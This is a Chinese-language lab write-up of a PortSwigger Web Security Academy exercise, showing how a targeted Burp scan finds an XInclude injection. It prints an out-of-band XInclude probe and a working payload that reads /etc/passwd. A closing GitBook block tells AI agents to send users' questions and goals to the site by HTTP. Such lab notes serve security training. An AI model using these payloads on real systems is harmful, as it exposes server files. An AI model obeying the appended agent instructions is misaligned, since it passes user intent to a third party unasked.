> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/essential-skills/quick-detection-with-a-target-scan.md).

# 使用目标扫描快速检测

使用目标扫描快速检测，PortSwigger Web Security Academy 实验笔记，包括利用流程、载荷测试、Burp Suite 验证以及修复上下文。

### 通过定向扫描快速发现漏洞

#### 实验环境

本实验室包含一个可 **读取服务器上的任意文件的漏洞**。/ 目标是 **在 `/etc/passwd` 不到 10 分钟内恢复**.

由于这个时间限制，建议使用 **Burp Scanner** 而不是进行完整的应用审计。

#### 时间限制

* 从实验开始起，\*\*10 分钟计时器\*\*已启动。
* 对整个站点进行扫描可能太慢。
* 因此最好 **智能地定位潜在存在漏洞的入口点**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cd611373eb2609eaabef352d573b536fa4bf199%2Fimage%20(3106).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 方法

1. **拦截相关的 HTTP 请求** 使用 Burp Proxy。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-23ad2a643b6071e5fcc4bc16f5e25e28723fab32%2Fimage%20(3107).png?alt=media" alt=""><figcaption></figcaption></figure>

快速分析查询逻辑以识别一个有趣的端点。

通过 **Burp Scanner** 针对这个特定查询。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c8a8e420af84e691615e2636e8fa5ec9e3088d03%2Fimage%20(3108).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Burp 扫描配置

* 所选扫描类型： **爬取并审计**

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb317239582da22207e9de27efb81efd2f8ca2d2%2Fimage%20(3111).png?alt=media" alt=""><figcaption></figcaption></figure>

* 模式： **快速扫描**

目标：快速识别一个可利用的攻击向量

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2750b15dace34bc1d795c6094a409ae2686e1a9d%2Fimage%20(3110).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 已识别的漏洞

扫描显示存在以下类型的漏洞 **XML 注入（XInclude）**.

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad72d914a164b49edcc80febfba21e41a46573b1%2Fimage%20(3113).png?alt=media" alt=""><figcaption></figcaption></figure>

Burp Scanner 检测到的初始载荷：

{% code overflow="wrap" %}

```xml
<oid xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://mrh1ja6l5f029m1pdnomovjvomufik6ludh35s.oastify.com/foo"/></oid>
```

{% endcode %}

这证实服务器会处理 **XInclude** 实体而不受限制。

#### 利用：读取 `/etc/passwd`

已修改载荷以包含一个本地系统文件：

{% code overflow="wrap" %}

```http
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>
id>&storeId=1
```

{% endcode %}

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-41d780c461593fcb9771b49b6635810406d8f5a2%2Fimage%20(3115).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/essential-skills/quick-detection-with-a-target-scan.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
